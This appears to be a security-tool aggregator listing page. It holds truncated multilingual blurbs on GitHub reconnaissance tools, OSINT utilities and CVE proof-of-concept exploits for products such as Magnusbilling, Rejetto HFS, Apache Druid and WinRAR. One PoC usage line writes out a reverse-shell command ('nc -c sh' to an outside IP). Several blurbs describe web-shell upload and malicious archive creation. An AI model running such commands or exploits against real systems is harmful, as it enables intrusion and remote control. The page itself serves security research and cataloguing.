GitDorker

GitDorker GitDorkerは、GitHub Search APIと、さまざまなソースから私が収集した広範なGitHub dorksリストを利用して、検索クエリに基づいてGitHub上に保存された機密情報の概要を提供するツールです。 GitDorkerの主な目的は、ユーザーにクリーンで調整された攻撃対象領域を提供し、GitHub上の機密情報の収集を開始できるようにすることです。GitDorkerは、GitRobやTrufflehogなどの追加ツールと組み合わせて、GitDorkerから見つかった興味深いリポジトリやユーザーに対して使用することで、最良の結果を得ることができます。...

CVE

CVE CVE-2025-67586, CVE-2025-67985, CVE-2025-67986 の解説 root@kitploit: -------------- CVE-2025-67586 Exploit PoC -------------- エクスプロイトタイトル: WordPress Plugin 5.2.0 - アクセス制御の不備 ソフトウェアリンク: https://wordpress.org/plugins/highlight-and-share/ バージョン: 説明 DLX Pluginsが開発したWordPressプラグインに、アクセス制御の不備の脆弱性が存在しま...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC n0o0b による CVE-2023-30258-RCE の POC 使い方 root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD...

spring-webmvc5

spring-webmvc5 Fork spring-webmvc 5.3.39 to fix CVE-2024-38816, CVE-2024-38819 Maven 在项目的pom.xml的dependencies中加入以下内容: root@kitploit: io.github.jaloon spring-webmvc5 5.3.39.1...

scopeblind-gateway

protect-mcp Fail-closed Cedar policy gate plus signed receipts for AI agent tool calls. protect-mcp is a gate that sits in front of an AI agent's tool calls. It evaluates each call against a Cedar policy the same language AWS uses for IAM, blocks what breaks the rules before it runs, and signs an...

ogi-transforms

OGI トランスフォームレジストリ OGI（オープンソースのOSINTおよびリンク分析ツール）向けのコミュニティトランスフォームです。 仕組み transforms/以下の各ディレクトリは、個別にインストール可能なトランスフォームです。OGI CLIとTransform Hub UIはindex.json（マージごとに自動生成）を読み取り、利用可能なものを検出します。 トランスフォームのインストール OGIバックエンドプロジェクトからCLIを使用します： root@kitploit: cd backend uv sync uv run ogi transform search shoda...

ogi-transforms

OGI Transform Registry Community transforms for OGI, an open source OSINT and link analysis tool. How it works Each directory under transforms/ is an independently installable transform. The OGI CLI and Transform Hub UI read index.json auto-generated on each merge to discover what's available...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE 远程命令执行漏洞 usage root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: root@kitploit: POST /account HTTP/1.1 Host:...

Ominis-OSINT

Ominis-OSINT: Webハンター 🌐🕵️‍♂️ SURPRISE UPDATE SCHEDULED FOR DEVELOPMENT 再スケジュールされました。WINTERGATEはこのプロジェクトを拡大します Github Actions actions/workflowsにアクセスし、3つのオプションのいずれかを選択して、GitHubから直接Ominis OSINTを試してください！ Web Search : https://github.com/AnonCatalyst/Ominis-OSINT/actions/workflows/web-search.yml Ominis...

CVE-2020-15931

CVE-2020-15931 Netwrix Account Lockout Examiner 4.1 域管理员账户凭据泄露漏洞 漏洞概述 5.1 版本之前的 Netwrix Account Lockout Examiner ALE 允许未认证的远程攻击者触发连接到攻击者控制的系统，并捕获拥有域管理员权限的账户的 NTLMv1/v2 挑战-响应。该域管理员账户已按照安装要求在产品中配置。攻击者可以通过在域控制器上生成单个 Kerberos 预认证失败事件（事件 ID 4771）来利用此漏洞。 关于该漏洞的更多详情，请参见以下博客 致谢 该漏洞由 Optiv 安全顾问 Robert...

CVE-2024-23692

POC - Rejetto HTTP File Server における未認証RCE脆弱性 - CVE-2024-23692 概要 POC - Rejetto HTTP File Server における未認証RCE脆弱性 - CVE-2024-23692 CVE-2024-23692 - YouTube CVE-2024-23692 は、Rejetto HTTP File Server HFS バージョン 2.3m における深刻な脆弱性であり、未認証のリモートコード実行（RCE）を可能にします。...

nibble

Nibble は、速度と使いやすさに重点を置いたローカルネットワークスキャン用の CLI ツールです。 ネットワークインターフェースを選択すると、ローカルサブネットがスキャンされます。 ホスト、ハードウェアメーカー、開いているポートとそのサービスを一覧表示します。 ⚡ 超高速、軽量スレッドを使用したスキャン 🔒 安全、管理者権限や特別な権限は不要 🥷 ステルス性、スキャン開始前にネットワーク信号を発しない クリック可能なインターフェース、マウスを使ってナビゲートとスキャン 🖱️ または ↑/↓/←/→、w/s/a/d、h/j/k/l で操作 状況に応じたヘルプ画面、ホットキー: ?...

amla-sandbox

amla-sandbox 本仓库是 amla-sandbox Python 包的发布源。开发在 amlalabs 单体仓库 中进行；此仓库会在发布时更新。编译为 amlasandbox.wasm 的 Rust 运行时位于 amla-sandbox-core；此 Python 包所构建的精确发布标签记录在 .mirror-deps.json 中。 amla-sandbox 是一个具有能力强制机制的 WASM 沙箱，用于 AI 智能体代码。智能体只能调用你明确提供的工具，并受你定义的约束限制。提供沙箱化的虚拟文件系统。无网络。无 shell 逃逸。 安装 root@kitploit: pip...

elite-proxy-finder

elite-proxy-finder 这个脚本几个月来一直无法正常工作。我刚刚在 7/6/15 修复了它。现在只使用 gatherproxy.com。 查找精英匿名（L1）HTTP 代理，然后对所有代理进行并行测试。每个代理都会用 3 个 IP 检测 URL 进行测试，其中一个为 HTTPS，以确保它能处理 HTTPS 请求。接着检查代理头部，确认它是一个不会泄露任何额外信息的精英 L1 代理。默认情况下，脚本只会打印通过全部四项测试的代理的 IP、请求时间和国家/地区代码，但你可以通过 -a（--all）选项查看所有结果，包括任何测试中出现的错误。 依赖要求： 已在 Kali 1.0....

CVE-2025-32579

⚠️ CVE-2025-32579 - Sync Posts 插件（WordPress）中的严重 RCE 漏洞 📦 影响版本：Sync Posts 🧨 CVSS 评分：9.9 严重 📁 CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 漏洞概述 由 SoftClever Limited 开发的 Sync Posts WordPress 插件存在一个无限制文件上传 漏洞，该漏洞允许经过身份验证的攻击者 在服务器上上传并执行任意 PHP 文件 （例如 Web Shell）。 🔓 根本原因： 该插件接受一个返回 JSON 帖子的...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 概念验证（Go 版本） 概述 本仓库包含针对 CVE-2021-25646 的概念验证（PoC）漏洞利用代码，该漏洞是 Apache Druid 中的一个严重远程代码执行漏洞。 该漏洞利用程序使用 Go 编写，可通过终端进行交互式命令注入。 特性 交互式命令注入： 通过交互式 shell 界面，在存在漏洞的 Apache Druid 服务器上执行任意命令。 构建 你需要安装 Go（推荐版本 2.23.4）。 root@kitploit: go build . 这将在当前目录下生成一个二进制文件。 用法 你可以通过构建二进制文件或直接使用 go run...

Cve-2025-8088-WinRar-vulnerability

CVE-2025-8088 WinRAR Python 工具，用于创建一个恶意的RAR文件以利用WinRAR 中的CVE-2025-8088 漏洞。CVE-2025-8088漏洞允许通过精心构造的RAR文件引发路径遍历 ，并在受害者系统上覆盖任意文件。 本项目仅用于研究和教育目的。不得用于生产环境或恶意用途。 安装 在cmd 中克隆仓库： root@kitploit: git clone https://github.com/Shinkirou789/Cve-2025-8088-WinRar-vulnerability && cd...

GPON-LOADER

GPON-LOADER GPONホームゲートウェイデバイス（CVE-2018-10562）に対するリモートコード実行（ペイロード付き）のエクスプロイトローダー。Pythonで書かれています。 依存関係 requests 使用方法 root@kitploit: python gpon-loader.py...

PMAT-labs

PMAT-labs 🔬 Practical Malware Analysis & Triage コースのラボへようこそ。 🔴 警告 🔴 続行する前に注意深くお読みください。 このリポジトリには、Practical Malware Analysis & Triage PMAT コースで使用するための生のマルウェアサンプルが含まれています。これらのサンプルは、一般的なマルウェアの特性を模倣するために作成されたものか、実際に「野良で捕獲された」実世界のサンプルです。どちらのカテゴリも危険です。これらのサンプルは常に細心の注意を払って取り扱ってください。...

velociraptor

Velociraptor - エンドポイント可視化・収集ツール Velociraptor は、Velociraptor Query Language VQL クエリを使用してホストベースの状態情報を収集するツールです。 Velociraptor の詳細については、以下のドキュメントをお読みください: https://docs.velociraptor.app/ クイックスタート Velociraptor がどのようなものかすぐに確認したい場合は、次の手順に従ってください: 1. お使いのプラットフォーム Windows/Linux/MacOS...